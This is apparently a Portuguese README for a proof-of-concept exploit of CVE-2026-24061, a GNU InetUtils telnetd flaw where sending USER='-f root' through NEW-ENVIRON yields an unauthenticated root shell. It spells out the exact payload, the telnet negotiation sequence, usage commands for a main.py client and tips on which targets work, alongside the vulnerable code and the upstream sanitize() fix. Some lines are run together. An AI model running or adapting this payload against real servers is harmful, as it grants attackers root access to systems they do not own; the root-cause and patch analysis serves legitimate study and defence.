
Prova de conceito de exploit para CVE-2026-24061, uma bypass de autenticação no telnetd via injeção de argumentos na variável de ambiente USER, permitindo acesso não autenticado a um shell root.
injeção de argumentos no telnetd do GNU InetUtils. Versões 1.9.3 a 2.7. CVSS 9.8. No CISA KEV desde 26/01/2026, ou seja, ativamente explorado no mundo real.
Todo o truque consiste no fato de que o telnetd pega o valor da variável de ambiente USER do cliente via NEW-ENVIRON (RFC 1572) e o insere sem qualquer validação diretamente na chamada de login(1). Se o cliente enviar USER="-f root", o telnetd executará:
/usr/bin/login -p -h <host> -f root
A flag -f no login significa "logar este usuário sem senha". Shell de root, zero autenticação.
Em telnetd/telnetd.c existe um template de chamada do login:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u é o usuário da autenticação telnet (confiável). %U é o valor bruto da env USER do cliente (não confiável). Quando a autenticação não está ativa, usa-se %U.
A expansão de variáveis está em telnetd/utility.c, função _var_short_name:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
Zero filtragem. Qualquer coisa que o cliente enviar em USER vai direto para a linha de comando do login. Não apenas -f root funciona; teoricamente, qualquer argumento que o login aceite pode ser injetado.
O bug foi introduzido no commit de safe-guard upstream de 2015-03-19 (fa3245ac). Ironicamente, esse commit deveria corrigir o tratamento da variável USER. O Debian tinha um patch para isso em 2019 (0028-telnetd-Scrub-USER-from-environment.patch), mas na correção do CVE-2020-10188 no Debian 10 o patch se perdeu e o bug voltou. Portanto, Debian 10+, Ubuntu e derivados também são vulneráveis.
main.py é um cliente telnet mínimo que:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root, você obtém um shellcliente servidor
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C encerra a sessão.
Não tente isso em sistemas que não possuem inetutils-telnetd. O pacote telnetd do netkit é outro código, não é vulnerável a esse bug específico. Se você conectar e receber um prompt de login normal em vez de um shell, ou o servidor já tem o patch, ou não é um telnetd do inetutils.
Não altere o payload para -f <outro_usuario> esperando que funcione em qualquer sistema. O login(1) de algumas distribuições tem restrições adicionais em -f. Em Debian/Ubuntu padrão, -f root funciona sem problemas.
| software | versões |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (até o patch) |
| Debian 11 | corrigido em 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (até o patch) |
A correção oficial adiciona uma função sanitize() que rejeita valores que começam com - ou que contêm metacaracteres de shell. Aplicada a todas as variáveis na expansão, não apenas USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - patch USERccba9f7 - sanitização de todas as variáveis